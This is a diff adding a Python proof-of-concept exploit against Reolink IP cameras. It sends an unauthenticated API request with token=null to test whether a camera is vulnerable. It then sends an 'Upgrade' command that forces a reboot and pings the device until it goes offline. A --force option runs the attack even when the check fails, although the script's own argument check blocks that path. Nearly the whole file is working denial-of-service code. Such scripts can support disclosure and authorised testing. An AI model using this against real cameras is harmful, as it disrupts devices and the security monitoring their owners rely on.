1
+ #!/usr/bin/python
2
+
3
+ # Script to test API reboot against a Reolink IP camera device
4
+
5
+ import requests
6
+ import sys
7
+ import json
8
+ import subprocess
9
+ import platform
10
+ import time
11
+
12
+ def main ():
13
+
14
+ print ('Script to test API reboot against a Reolink IP camera device' )
15
+
16
+ if len (sys .argv ) != 2 :
17
+ print ()
18
+ print ('Usage: python test.py IP_ADDRESS' )
19
+ exit ()
20
+
21
+ force = False
22
+ if len (sys .argv ) == 3 :
23
+ if sys .argv [2 ] == '--force' :
24
+ force = True
25
+
26
+ #vars
27
+ ip = sys .argv [1 ]
28
+ url = 'http://' + ip + '/cgi-bin/api.cgi?cmd=Login&token=null'
29
+ headers = {'Host' : ip ,
30
+ 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0' ,
31
+ 'Accept' : '*/*' ,
32
+ 'Accept-Language' : 'en-US,en;q=0.5' ,
33
+ 'Accept-Encoding' : 'gzip, deflate' ,
34
+ 'Referer' : 'http://' + ip + '/' ,
35
+ 'Content-Type' : 'application/json' ,
36
+ 'X-Requested-With' : 'XMLHttpRequest' ,
37
+
38
+ 'Origin' : 'http://' + ip ,
39
+ 'Connection' : 'close' ,
40
+ 'Pragma' : 'no-cache' ,
41
+ 'Cache-Control' : 'no-cache' }
42
+
43
+ body = [{'cmd' : 'GetHddInfo' , 'action' : 0 , 'param' : {}}]
44
+ body_json = json .dumps (body )
45
+
46
+ rs = requests .session ()
47
+
48
+ #test get hdd method
49
+
50
+ print ('Testing GetHddInfo to see if target is vulnerable...' )
51
+
52
+ p = rs .post (url = url , headers = headers , data = body_json )
53
+
54
+ if 'HddInfo' in p .text :
55
+ print ('[!] Target appears to be vulnerable:\n \t ' )
56
+
57
+ hdd_data = json .loads (p .text )
58
+ print (hdd_data [0 ]['value' ])
59
+ print ()
60
+ elif force == True :
61
+ print ('[*] Target does not appear to be vulnerable' )
62
+ print ('--force enabled, running anyway...' )
63
+ else :
64
+ print ('[*] Target does not appear to be vulnerable' )
65
+ print ('To force the exploit add --force to the command' )
66
+
67
+ #send upgrade reboot command
68
+
69
+ print ('Sending Upgrade reboot payload...' )
70
+
71
+ body = [{'cmd' : 'Upgrade' , 'action' : 0 , 'param' : {}}]
72
+ body_json = json .dumps (body )
73
+
74
+ p = rs .post (url = url , headers = headers , data = body_json )
75
+
76
+ #check net status
77
+ print ('Chekcing to see if host is down...' )
78
+ tries = 0
79
+ while tries < 200 :
80
+ up = ping (ip )
81
+ if up == False :
82
+ print ('[!!!] Congrats! The host is down and rebooting!' )
83
+ exit ()
84
+ else :
85
+ print ('Ping: ' + str (tries ) + ', host is still up...' )
86
+
87
+ time .sleep (1 )
88
+ tries += 1
89
+
90
+ print ('Host has not disconnected and is likely not vulnerable' )
91
+
92
+ def ping (host ):
93
+ """
94
+ Returns True if host (str) responds to a ping request.
95
+ Remember that a host may not respond to a ping (ICMP) request even if the host name is valid.
96
+ """
97
+
98
+ # Option for the number of packets as a function of
99
+ param = '-n' if platform .system ().lower ()== 'windows' else '-c'
100
+
101
+ # Building the command. Ex: "ping -c 1 google.com"
102
+ command = ['ping' , param , '1' , host ]
103
+
104
+ return subprocess .call (command ) == 0
105
+
106
+
107
+ if __name__ == "__main__" :
108
+ main ()
0 commit comments